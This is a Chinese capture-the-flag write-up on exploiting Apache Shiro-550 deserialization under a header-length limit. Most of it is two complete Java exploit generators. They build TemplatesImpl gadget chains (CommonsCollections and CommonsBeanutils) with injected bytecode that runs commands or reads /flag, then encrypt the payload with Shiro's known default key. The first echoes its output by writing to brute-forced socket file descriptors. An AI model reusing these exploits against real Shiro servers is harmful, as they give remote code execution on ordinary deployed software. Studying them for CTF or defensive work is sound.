最近打RWCTF2023体验赛的一道题,题目就是一般的shiro550反序列化,但是对请求头的长度进行了限制
http-header-size最大为3000
网上也找了很多相关绕过这个长度限制的方法,可以参考
但自己构造的payload长度还是超过了3000,所以后面又找到了一个新的方法,就是利用linux下一切皆文件的特性,直接对套接字文件进行读写操作即可。
主要参考
https://www.00theway.org/2020/01/17/java-god-s-eye/
所以我这里就直接暴力枚举文件描述符来回显,在CTF中可以这么搞,但在实战中要酌情使用,毕竟是遍历文件描述符的方式去回显的,有可能会回显到其他正常访问的用户上
相关java代码
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.FileDescriptor;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Exp {
static ClassPool pool = ClassPool.getDefault();
public static void main(String []args) throws Exception {
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
//从3开始枚举文件描述符,0是标准输入,1是标准输出,2是标准错误输出,从3开始一般50以内就能遍历到自己的socket
//靶机可能会崩溃,可以去掉try catch防止程序崩掉
constructor.setBody("{java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{int.class});\n" +
"c.setAccessible(true);\n" +
"for(int i=3;i<50;i++){\n" +
" try {\n" +
" new java.io.FileOutputStream((java.io.FileDescriptor) c.newInstance(new Object[]{new Integer(i)})).write(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(\"cat /flag\").getInputStream())).readLine().getBytes());\n" +
" }catch (Exception e){}\n" +
"}}");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
byte[] payloads = new Exp().getPayload(bytes);
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext.toString().length());
System.out.println(ciphertext.toString());
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
Templates obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "a");
setFieldValue(obj, "_tfactory", null);
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "1");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
得到的payload长度只有2880
还是比较稳定的
其他
记录下 @X1r0z 师傅的exp,这个获取回显的方法还是第一次见
package com.example.Shiro;
import com.example.Util.ReflectUtil;
import com.example.Util.SerializeUtil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.util.ByteSource;
import java.util.PriorityQueue;
public class ShiroDemo {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("SC");
String body = "javax.servlet.http.HttpServletRequest r = ((org.springframework.web.context.request.ServletRequestAttributes) org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();\n" +
"java.lang.reflect.Field f = r.getClass().getDeclaredField(\"request\");\n" +
"f.setAccessible(true);\n" +
"org.apache.catalina.connector.Response p =((org.apache.catalina.connector.Request) f.get(r)).getResponse();\n" +
"java.io.Writer w = p.getWriter();\n" +
"w.write(new java.util.Scanner(new java.io.File(\"/flag\")).next());\n" +
"w.flush();";
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("{" + body + "}");
clazz.addConstructor(constructor);
// clazz.makeClassInitializer().setBody("{" + body + "}");
// 设置 Super Class 为 AbstractTranslet
CtClass superClazz = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
clazz.setSuperclass(superClazz);
ReflectUtil.setFieldValue(templatesImpl, "_name", "Hello");
ReflectUtil.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
ReflectUtil.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add("1");
priorityQueue.add("1");
beanComparator.setProperty("outputProperties");
ReflectUtil.setFieldValue(priorityQueue, "queue", new Object[]{templatesImpl, templatesImpl});
byte[] serialized = SerializeUtil.serialize(priorityQueue);
CipherService cipherService = new AesCipherService();
byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource byteSource = cipherService.encrypt(serialized, key);
byte[] value = byteSource.getBytes();
String enc = Base64.encodeToString(value);
System.out.println(enc.length());
System.out.println(enc);
}
}